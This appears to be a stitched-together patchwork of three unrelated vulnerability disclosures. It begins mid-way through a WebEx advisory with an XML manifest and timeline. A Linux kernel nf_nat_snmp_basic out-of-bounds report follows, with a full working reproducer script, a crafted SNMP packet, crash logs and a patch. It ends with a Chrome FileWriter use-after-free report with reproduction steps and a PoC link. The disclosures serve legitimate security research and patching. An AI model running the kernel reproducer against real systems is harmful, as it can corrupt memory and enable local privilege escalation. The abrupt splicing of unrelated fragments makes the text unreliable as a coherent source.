<ReleaseDate>February 2017</ReleaseDate>
<Description>WebEx Productivity Tools 33.8.4</Description>
<MsiLocation>msi/ptools.msi</MsiLocation>
<UpdateFormat>binary</UpdateFormat>
<ReleaseTrain>T32</ReleaseTrain>
<Location>$dummy/upgradeserver/client/ptool/33.8.4</Location>
<ControlOption>0</ControlOption>
<WBSVERSION>33</WBSVERSION>
<Server>myCompany.webex.com</Server>
<UserName>MCKSysAR@myCompany.com</UserName>
<DownloadSize>22496333</DownloadSize>
<VersionURL/>
<FileInfo>
<SectionName>Common</SectionName>
<PackedName>vcruntime140.7z</PackedName>
<PackedNameL10N>vcruntime140.7z</PackedNameL10N>
<OrigianlName>vcruntime140.dll</OrigianlName>
<Version>14,14,26405,0</Version>
<Size>6144</Size>
<PackagedSize>1761</PackagedSize>
<CheckMethod>1</CheckMethod>
<CouldIgnore>1</CouldIgnore>
<NeedDownLoad>1</NeedDownLoad>
</FileInfo>
<FileInfo>
<SectionName>Installation</SectionName>
<PackedName>ptupdate.7z</PackedName>
<PackedNameL10N>ptupdate.7z</PackedNameL10N>
<OrigianlName>ptupdate.exe</OrigianlName>
<Version>3306,4,1811,1600</Version>
<Size>1992760</Size>
<PackagedSize>611786</PackagedSize>
<CheckMethod>1</CheckMethod>
<CouldIgnore>1</CouldIgnore>
<NeedDownLoad>1</NeedDownLoad>
</FileInfo>
<Tools>
<UseEmailType/>
<Outlook>0</Outlook>
<Notes>0</Notes>
<UseWebExWithOffice>1</UseWebExWithOffice>
<Excel>0</Excel>
<PowerPoint>0</PowerPoint>
<Word>0</Word>
<IEShortCut>1</IEShortCut>
<IERightMenu>0</IERightMenu>
<UseWebExWithIM>1</UseWebExWithIM>
<AOL>0</AOL>
<Sametime>0</Sametime>
<WindowsMessenger>0</WindowsMessenger>
<Yahoo>0</Yahoo>
<Skype>0</Skype>
<GoogleTalk>0</GoogleTalk>
<Firefox/>
<IPPhone>1</IPPhone>
</Tools>
</serv:bodyContent>
</serv:body>
</serv:message>
-----/
8. *Report Timeline*
2018-12-04: SecureAuth sent an initial notification to the Cisco PSIRT
including a draft advisory.
2018-12-05: Cisco confirmed the reception of the advisory and informed
they will open a case.
2018-12-07: Cisco replied that they were able to reproduce the
vulnerability and they were working on a plan for the fix.
2018-12-07: SecureAuth thanked the update.
2018-12-10: Cisco notified SecureAuth that the general availability of
the fix will be before end of February.
2018-12-10: SecureAuth thanked the update.
2019-01-15: SecureAuth asked Cisco for an update.
2019-01-22: SecureAuth asked Cisco for an update again.
2019-01-22: Cisco answered saying they were still targeting the end of
February for the release of the fix.
2019-02-11: Cisco confirmed 27th February as the disclosure date.
2019-02-27: Advisory CORE-2018-0012 published.
9. *References*
[1] https://www.webex.com/products/video-conferencing.html
10. *About SecureAuth Labs*
SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.
11. *About SecureAuth*
SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches. As
a leader in access management, SecureAuth is powering an identity
security revolution by enabling people and devices to intelligently
and adaptively access systems and data, while effectively keeping bad
actors from doing harm. By ensuring the continuous assessment of risk
and enablement of trust, SecureAuth's highly flexible platform makes it
easier for organizations to prevent the misuse of credentials. To learn
more, visit www.secureauth.com, call (949) 777-6959, or email us at
info@secureauth.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2019 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library",
first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses
and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's
ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1
decoder can invoke callbacks when certain objects are encountered. The SNMP
helper has two such callbacks defined in nf_nat_snmp_basic.asn1:
- For the `version` field of a `Message` (a `INTEGER`), snmp_version() is
invoked.
- For each `IpAddress` (according to RFC 1155, a 4-byte octet string),
snmp_helper() is invoked.
These callbacks contain the following code:
int snmp_version(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
if (*(unsigned char *)data > 1)
return -ENOTSUPP;
return 1;
}
int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
struct snmp_ctx *ctx = (struct snmp_ctx *)context;
__be32 *pdata = (__be32 *)data;
if (*pdata == ctx->from) {
pr_debug("%s: %pI4 to %pI4\n", __func__,
(void *)&ctx->from, (void *)&ctx->to);
if (*ctx->check)
fast_csum(ctx, (unsigned char *)data - ctx->begin);
*pdata = ctx->to;
}
return 1;
}
The problem is that both of these callbacks can be invoked by the ASN.1 parser
with `data` pointing at the end of the packet and `datalen==0` (even though, for
the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall
consist of one or more octets"), but they don't check whether there is
sufficient input available. This means that snmp_version() can read up to one
byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can
read and potentially also write up to four bytes out-of-bounds.
Unfortunately, KASAN can't detect the out-of-bounds reads because, as was
pointed out in
<https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/>
regarding a (harmless) out-of-bounds read in the TCP input path, the kernel
stores a `struct skb_shared_info` at the end of the socket buffer allocation,
directly behind the packet data. The kernel can only detect that a problem
occurred based on the later effects of an out-of-bounds write.
It might be a good idea to explicitly add some KASAN poison between the head
data and struct skb_shared_info to make it easier for kernel fuzzers to discover
issues like this in the future.
There are two scenarios in which this bug might be attacked:
- A router that performs NAT translation is explicitly set up to invoke the
SNMP helper, and a device in the NATted network wants to attack the router.
This is probably very rare, since the router would need to be explicitly
configured to perform SNMP translation. On top of that, to corrupt memory,
an attacker would need to be able to completely fill an SKB; it isn't clear
to me whether that is possible remotely.
- A local attacker could exploit the bug by setting up new network namespaces
with an iptables configuration that invokes SNMP translation. This probably
works as a local privilege escalation against some distribution kernels.
The normal autoloading path for this code was only set up in
commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias
name", first in 4.20), but from a glance, it looks like it would be possible
on kernels before 4.20 to instead first load one of the openvswitch module's
aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use
ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the
alias "ip_nat_snmp_basic".
The following is a reproducer for a git master build that causes a kernel oops
(nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I
think):
======================================================================
#!/bin/sh
unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF
set -e
set -x
# make "ip netns" work in here
mount -t tmpfs none /var/run/
cd /var/run
# this namespace is the router with NAT
ip link set dev lo up
echo 1 > /proc/sys/net/ipv4/ip_forward
/sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE
/sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap
/sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT
# this namespace is the destination host for the SNMP trap message
ip netns add netns1
nsenter --net=/var/run/netns/netns1 ip link set dev lo up
ip link add veth0 type veth peer name veth1
ip link set veth1 netns netns1
nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up
/sbin/ifconfig veth0 192.168.0.1/24 up
# this namespace sends the SNMP trap message
ip netns add netns2
nsenter --net=/var/run/netns/netns2 ip link set dev lo up
ip link add veth2 type veth peer name veth3
ip link set veth3 netns netns2
# /31 network, see RFC 3021
# we want *.0.0.0 so that the 3 OOB bytes can be zero
nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up
/sbin/ifconfig veth2 10.0.0.1/24 up
nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1
# debug
ip route
nsenter --net=/var/run/netns/netns2 ip route
# run the PoC
cat > udp_repro.c <<C_EOF
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <stdarg.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24))
// "pc X" comments in the following array refer to indices into
// nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which
// is generated as part of the kernel's build process.
// reading the ASN.1 decoder and the generated machine opcodes
// seemed easier than trying to build ASN.1 by looking at the
// spec or something like that...
uint8_t snmp_packet[] = {
// pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30
// length indef
0x30, 0x80,
// pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02
// version number
0x02, 0x01,
0x00,
// pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04
0x04, 0x00,
// pc 7: read tag, should match _tagn(CONT, CONS, 0) == 0xa0
// selects GetRequest-PDU, length indef
0xa0, 0x80,
// pc 34: read INT request-id
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// pc 36: read INT error-status
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// pc 38: read INT error-index
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// pc 40: read seq VarBindList
// length indef
0x30, 0x80,
// pc 42: read seq VarBind
// length indef
0x30, 0x80,
// ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06
// ObjectName
// (can use 0x82 as length to have two bytes of length following)
// length chosen so that the end of packet data is directly
// followed by the skb_shared_info, with the whole thing in a
// kmalloc-512 slab.
0x06, 0x70,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// ptr 46: read tag, should skip
// ptr 48: read tag, should skip
// ptr 50: read tag, should skip
// ptr 52: read tag, should match _tagn(APPL, PRIM, 0) == 0x40
// IpAddress
// we could also use a length of zero, and the callback would still
// be invoked, but we want control over the first byte so that we
// can create a source IP match.
0x40, 0x01,
// source IP 10.0.0.0
0x0a
};
void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
if (res != len) {
if (res == -1)
err(1, "send failed");
else
errx(1, "partial send?");
}
}
int main(void) {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(162), .sin_addr = { .s_addr = IPADDR(192,168,0,2) } };
// __ip_append_data() overallocates by 15 bytes for some reason; cancel it out
// by using CORK to first send 15 bytes short, then append the remaining 15 bytes
do_sendto(sock, snmp_packet, sizeof(snmp_packet)-15, MSG_MORE, (struct sockaddr *)&sa, sizeof(sa));
do_sendto(sock, ((char*)snmp_packet)+sizeof(snmp_packet)-15, 15, 0, (struct sockaddr *)&sa, sizeof(sa));
}
C_EOF
gcc -o udp_repro udp_repro.c -Wall
nsenter --net=/var/run/netns/netns2 ./udp_repro
SCRIPT_EOF
======================================================================
Corresponding splat:
======================================================================
[ 260.101983] IPVS: ftp: loaded support on port[0] = 21
[ 260.134983] LoadPin: vda1 (254:1): writable
[ 260.135981] LoadPin: enforcement can be disabled.
[ 260.137085] LoadPin: kernel-module pinned obj="/lib/modules/5.0.0-rc5/kernel/net/bpfilter/bpfilter.ko" pid=1095 cmdline="/sbin/modprobe -q -- bpfilter"
[ 260.143100] bpfilter: Loaded bpfilter_umh pid 1096
[ 260.171851] IPVS: ftp: loaded support on port[0] = 21
[ 260.248339] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
[ 260.250475] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
[ 260.261136] IPVS: ftp: loaded support on port[0] = 21
[ 260.347678] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
[ 260.621924] page:ffffea000703de00 count:0 mapcount:-128 mapping:0000000000000000 index:0x0
[ 260.624264] flags: 0x17fffc000000000()
[ 260.625373] raw: 017fffc000000000 ffffea0007a6d408 ffffea000783fe08 0000000000000000
[ 260.627650] raw: 0000000000000000 0000000000000003 00000000ffffff7f 0000000000000000
[ 260.629926] page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0)
[ 260.631958] ------------[ cut here ]------------
[ 260.633312] kernel BUG at ./include/linux/mm.h:546!
[ 260.634771] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[ 260.636693] CPU: 6 PID: 1121 Comm: udp_repro Not tainted 5.0.0-rc5 #263
[ 260.638583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 260.641031] RIP: 0010:do_exit+0x1391/0x1440
[ 260.642266] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
[ 260.647667] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
[ 260.649556] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
[ 260.651639] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
[ 260.653712] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
[ 260.655786] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
[ 260.657857] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
[ 260.659939] FS: 0000000000000000(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
[ 260.662281] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 260.664171] CR2: 00007fe2da7af5e0 CR3: 000000002de2b002 CR4: 0000000000360ee0
[ 260.666987] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 260.670022] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 260.672035] Call Trace:
[ 260.672761] ? release_task+0x860/0x860
[ 260.673864] ? __fd_install+0x88/0x140
[ 260.674946] ? handle_mm_fault+0x82/0x130
[ 260.676100] do_group_exit+0x79/0x120
[ 260.677157] __x64_sys_exit_group+0x28/0x30
[ 260.678362] do_syscall_64+0x73/0x160
[ 260.679440] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 260.680878] RIP: 0033:0x7fe2da7af618
[ 260.681922] Code: Bad RIP value.
[ 260.682872] RSP: 002b:00007ffd5a5e12c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[ 260.685057] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fe2da7af618
[ 260.687125] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
[ 260.689197] RBP: 00007fe2daa8c8e0 R08: 00000000000000e7 R09: ffffffffffffff98
[ 260.691264] R10: 00007ffd5a5e1248 R11: 0000000000000246 R12: 00007fe2daa8c8e0
[ 260.693343] R13: 00007fe2daa91c20 R14: 0000000000000000 R15: 0000000000000000
[ 260.695412] Modules linked in: bpfilter
[ 260.696776] ---[ end trace d5f4a4a31d762416 ]---
[ 260.698931] RIP: 0010:do_exit+0x1391/0x1440
[ 260.700171] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
[ 260.705625] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
[ 260.707183] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
[ 260.708823] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
[ 260.710384] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
[ 260.711888] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
[ 260.713785] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
[ 260.715326] FS: 00007fe2dac99700(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
[ 260.717071] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 260.718340] CR2: 00007fe2da7af5ee CR3: 000000002de2b002 CR4: 0000000000360ee0
[ 260.719867] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 260.721389] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 260.722923] Fixing recursive fault but reboot is needed!
======================================================================
It also works against a Debian testing distro kernel if you first (as root)
set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat:
======================================================================
[17260.886470] IPv6: ADDRCONF(NETDEV_UP): veth1: link is not ready
[17260.887304] IPv6: ADDRCONF(NETDEV_UP): veth0: link is not ready
[17260.887310] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
[17260.887334] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
[17260.930188] IPv6: ADDRCONF(NETDEV_UP): veth3: link is not ready
[17260.931286] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
[17261.115583] BUG: Bad page state in process Xorg pfn:276500
[17261.115588] page:ffffcf4ac9d94000 count:-1 mapcount:0 mapping:0000000000000000 index:0x0
[17261.115595] flags: 0x17fffc000000000()
[17261.115598] raw: 017fffc000000000 dead000000000100 dead000000000200 0000000000000000
[17261.115599] raw: 0000000000000000 0000000000000000 ffffffffffffffff 0000000000000000
[17261.115601] page dumped because: nonzero _count
[17261.115602] Modules linked in: veth xt_helper xt_conntrack nf_nat_snmp_basic nf_conntrack_snmp nf_conntrack_broadcast xt_CT xt_tcpudp nft_counter nft_chain_nat_ipv4 ipt_MASQUERADE nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nft_compat nf_tables nfnetlink uinput atm netrom appletalk psnap llc ax25 snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev qxl snd soundcore ttm drm_kms_helper drm sg evdev virtio_balloon serio_raw virtio_console crct10dif_pclmul crc32_pclmul pcspkr ghash_clmulni_intel button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto ecb btrfs xor zstd_decompress zstd_compress xxhash hid_generic usbhid hid raid6_pq libcrc32c crc32c_generic sr_mod cdrom ata_generic virtio_net net_failover virtio_blk failover crc32c_intel
[17261.115641] ata_piix libata ehci_pci aesni_intel uhci_hcd aes_x86_64 ehci_hcd crypto_simd cryptd virtio_pci usbcore scsi_mod psmouse glue_helper virtio_ring i2c_piix4 usb_common virtio floppy
[17261.115652] CPU: 14 PID: 653 Comm: Xorg Not tainted 4.19.0-1-amd64 #1 Debian 4.19.12-1
[17261.115653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[17261.115654] Call Trace:
[17261.115681] dump_stack+0x5c/0x80
[17261.115688] bad_page.cold.115+0x7f/0xb2
[17261.115690] get_page_from_freelist+0xf51/0x1200
[17261.115694] ? reservation_object_reserve_shared+0x32/0x70
[17261.115696] ? get_page_from_freelist+0x8c3/0x1200
[17261.115698] __alloc_pages_nodemask+0x112/0x2b0
[17261.115703] new_slab+0x288/0x6e0
[17261.115707] ? update_blocked_averages+0x3ca/0x560
[17261.115708] ___slab_alloc+0x378/0x500
[17261.115710] ? update_nohz_stats+0x41/0x50
[17261.115713] ? shmem_alloc_inode+0x16/0x30
[17261.115715] ? shmem_alloc_inode+0x16/0x30
[17261.115716] __slab_alloc+0x1c/0x30
[17261.115717] kmem_cache_alloc+0x192/0x1c0
[17261.115719] shmem_alloc_inode+0x16/0x30
[17261.115722] alloc_inode+0x1b/0x80
[17261.115725] new_inode_pseudo+0xc/0x60
[17261.115726] new_inode+0x12/0x30
[17261.115728] shmem_get_inode+0x49/0x220
[17261.115731] __shmem_file_setup.part.42+0x3f/0x130
[17261.115754] drm_gem_object_init+0x26/0x40 [drm]
[17261.115758] qxl_bo_create+0x79/0x170 [qxl]
[17261.115762] qxl_gem_object_create+0x60/0x120 [qxl]
[17261.115764] ? qxl_map_ioctl+0x20/0x20 [qxl]
[17261.115767] qxl_gem_object_create_with_handle+0x4e/0xb0 [qxl]
[17261.115769] qxl_alloc_ioctl+0x42/0xa0 [qxl]
[17261.115777] ? drm_dev_enter+0x19/0x50 [drm]
[17261.115785] drm_ioctl_kernel+0xa1/0xf0 [drm]
[17261.115807] drm_ioctl+0x1fc/0x390 [drm]
[17261.115810] ? qxl_map_ioctl+0x20/0x20 [qxl]
[17261.115812] ? ep_scan_ready_list.constprop.22+0x1fc/0x220
[17261.115814] ? __hrtimer_init+0xb0/0xb0
[17261.115816] ? timerqueue_add+0x52/0x80
[17261.115834] ? enqueue_hrtimer+0x38/0x90
[17261.115835] ? hrtimer_start_range_ns+0x1b7/0x2c0
[17261.115836] do_vfs_ioctl+0xa4/0x630
[17261.115840] ? __sys_recvmsg+0x83/0xa0
[17261.115841] ksys_ioctl+0x60/0x90
[17261.115843] __x64_sys_ioctl+0x16/0x20
[17261.115846] do_syscall_64+0x53/0x100
[17261.115851] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[17261.115852] RIP: 0033:0x7fb3e93d3747
[17261.115854] Code: 00 00 90 48 8b 05 49 a7 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 19 a7 0c 00 f7 d8 64 89 01 48
[17261.115855] RSP: 002b:00007ffc43daf3f8 EFLAGS: 00003246 ORIG_RAX: 0000000000000010
[17261.115856] RAX: ffffffffffffffda RBX: 0000562c71bece00 RCX: 00007fb3e93d3747
[17261.115857] RDX: 00007ffc43daf430 RSI: 00000000c0086440 RDI: 000000000000000e
[17261.115857] RBP: 00007ffc43daf430 R08: 0000562c71bece00 R09: 00000000000003d1
[17261.115858] R10: 0000562c71085010 R11: 0000000000003246 R12: 00000000c0086440
[17261.115858] R13: 000000000000000e R14: 0000562c710bcba0 R15: 0000562c710d82f0
[17261.115860] Disabling lock debugging due to kernel taint
======================================================================
I suggest the following patch (copy attached with proper whitespace); I have
tested that it prevents my PoC from crashing the kernel, but I haven't tested
whether SNMP NATting still works.
======================================================================
From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Wed, 6 Feb 2019 22:56:15 +0100
Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in
ASN.1 cbs
The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
will get as much data as they expect; callbacks have to check the `datalen`
parameter before looking at `data`. Make sure that snmp_version() and
snmp_helper() don't read/write beyond the end of the packet data.
(Also move the assignment to `pdata` down below the check to make it clear
that it isn't necessarily a pointer we can use before the `datalen` check.)
Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library")
Signed-off-by: Jann Horn <jannh@google.com>
---
net/ipv4/netfilter/nf_nat_snmp_basic_main.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
index a0aa13bcabda..0a8a60c1bf9a 100644
--- a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
+++ b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
@@ -105,6 +105,8 @@ static void fast_csum(struct snmp_ctx *ctx, unsigned char offset)
int snmp_version(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
+ if (datalen != 1)
+ return -EINVAL;
if (*(unsigned char *)data > 1)
return -ENOTSUPP;
return 1;
@@ -114,8 +116,11 @@ int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
struct snmp_ctx *ctx = (struct snmp_ctx *)context;
- __be32 *pdata = (__be32 *)data;
+ __be32 *pdata;
+ if (datalen != 4)
+ return -EINVAL;
+ pdata = (__be32 *)data;
if (*pdata == ctx->from) {
pr_debug("%s: %pI4 to %pI4\n", __func__,
(void *)&ctx->from, (void *)&ctx->to);
--
2.20.1.611.gfbb209baf1-goog
======================================================================
There's a use-after-free in the implementation of the FileWriter component of the mojo bindings for the filesystem API.
The browser-process side of this API is defined in https://cs.chromium.org/chromium/src/third_party/blink/public/mojom/filesystem/file_writer.mojom?type=cs&sq=package:chromium&g=0
The method we are interested in is the Write method - this takes a parameter of type blink.mojom.Blob. The implementation of this method is as follows:
void FileWriterImpl::Write(uint64_t position,
blink::mojom::BlobPtr blob,
WriteCallback callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
std::move(callback), position));
}
Note that the last argument to GetBlobDataFromBlobPtr is a callback object bound to base::Unretained(this).
And the implementation of GetBlobDataFromBlobPtr:
void BlobStorageContext::GetBlobDataFromBlobPtr(
blink::mojom::BlobPtr blob,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
DCHECK(blob);
blink::mojom::Blob* raw_blob = blob.get();
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
base::BindOnce(
[](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
const std::string& uuid) {
if (!context || uuid.empty()) {
std::move(callback).Run(nullptr);
return;
}
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
},
std::move(blob), AsWeakPtr(), std::move(callback)),
""));
}
However, the call to GetInternalUUID is a mojo interface method; and if the renderer instead of providing a handle to a browser-process-hosted Blob object instead provides a handle to a renderer-hosted Blob implementation, then during this call into the renderer we can destroy the renderer handle to the FileWriter, triggering the immediate destruction of the FileWriterImpl. When the callback is then subsequently called after GetInternalUUID returns, the base::Unretained reference to the stale object will be used.
To reproduce you need a local build of chrome; run the attached script
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/file_writer.html'
Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46475.zip